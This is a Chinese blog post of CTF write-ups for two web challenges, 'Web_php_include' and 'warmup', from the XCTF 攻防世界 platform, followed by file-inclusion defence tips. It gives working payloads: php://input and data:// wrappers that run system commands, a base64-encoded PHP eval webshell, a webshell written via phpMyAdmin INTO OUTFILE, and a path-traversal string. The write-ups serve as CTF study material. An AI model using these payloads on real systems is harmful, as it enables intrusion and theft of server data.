记录攻防世界web进阶

Web_php_include

考点:考审计php代码的基本能力,以及绕开的能力
知识点:
1.两个函数
①str_replace(“php://”, “”, $page);替换函数

②strstr($page, “php://”)查找函数,即输出在一个字符串里面第一次出现的位置(且对大小写敏感)即绕开了
php://input功能应用 (接受请求的get或者post数据)
2.data协议的用法
3.数据库写马的方法

题目:
在这里插入图片描述
方法一:
利用strstr()的敏感大小进行绕过
代码

//get中
http://220.249.52.133:32881/?page=PHP://input
//post请求中## 标题
<?php system("ls"); ?> 
<?php system("cat 路径的文件名"); ?>//即利用cat命令获取

方法二:
data://伪协议执行命令利用进行绕过
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

<?php system("dir")?> base64编码后使用进行
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b  (注意编码后的+号要URL编码)

方法三:
data://伪协议传木马

<?php eval($_POST[xiaohua]); ?> base64加密后拼接

http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

//菜刀连接即可

方法四:
数据库写入马,利用数据库进行

//御剑扫描获得phpmyadmin root 密码空 进入

//数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写

SHOW VARIABLES LIKE "secure_file_priv"

linux默认tmp是可写目录 试试写入一句话马 菜刀连接 

SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'

思路:①绕过代码审计中的替换即读取数据的命令
②在post中利用php的命令执行语句进行爆出flag

warmup

考点:

  1. 考php代码审计与构造的能力
  2. 考php路径访问的能力
  3. 参数与url中常见的符号理解
    知识点:
    1.#include文件包含的定义的漏洞使用类
    作用:包含并运行指定的文件
    运行方法:先按照参数的路径进行寻找,没有的话在依次删除路径
    file的参数这个是#include里面的定义为文件=路径;(且文件打开还可以考虑用php://input)
    2.函数
    ①in_array($page, $whitelist)即在whitelist中是否存在page这个参数
    ②mb_substr()函数的理解
mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
         );
 //即参数从0开始返回mb_strpos这么多的字节        

③mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置(即返回的位置,strstr返回的是值且是从当时开始的值)

<?php
$str = 'http://www.feiniaomy.com';
echo mb_strpos($str,'niao');
?>
//输出结果:14;

④参数的理解
如?file=source.php?(payload)//即参数$page实际为source.php?

做题:
在这里插入图片描述
审计代码后发现只有当 p a g e 的 参 数 构 造 存 在 于 page的参数构造存在于 pagewhitelist数组中存在时,才返回 true,否则都是flase
因此可以利用第二个判断机制构造 p a g e = s o u r c e . p h p ? 或 者 page=source.php?或者 page=source.php?page=hint.php

然后又利用#include的实际执行方法进行构造路径
为?file=source.php?/…/…/…/…/…/…/ffffllllaaaagggg
成功获取到flag
在这里插入图片描述

攻防世界中的文件包含漏洞(File Inclusion Vulnerability)是一种常见的web安全漏洞。它主要出现在web应用程序中,当应用程序动态包含用户可控制的文件时,如果没有正确过滤和验证用户输入,攻击者可以利用这个漏洞执行恶意代码或读取敏感文件。 文件包含漏洞分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种类型。LFI漏洞发生在应用程序尝试包含本地文件时,而RFI漏洞则允许攻击者通过远程服务器包含外部文件。 为了防止文件包含漏洞,开发人员应该遵循以下最佳实践: 1. 永远不要信任用户输入。对用户提供的文件名、路径或URL进行严格的输入验证和过滤。 2. 使用白名单机制限制可包含的文件范围。只允许应用程序包含预定义的合法文件,而不是用户可控制的任意文件。 3. 避免使用动态包含,尽量使用静态包含。如果必须使用动态包含,确保只包含可信任的文件。 4. 对于本地文件包含漏洞,限制访问文件系统的权限。确保应用程序只能访问必要的文件,并将敏感文件放在可访问性受限的目录下。 5. 对于远程文件包含漏洞,禁止从远程服务器包含文件,或者使用安全的方法验证和限制远程文件的来源。 6. 定期更新和修补应用程序的漏洞,以确保及时修复已知的文件包含漏洞和其他安全问题。 这些是一些常见的防范文件包含漏洞的方法,但在实际开发过程中,还需要根据具体情况采取其他安全措施来保护应用程序免受攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值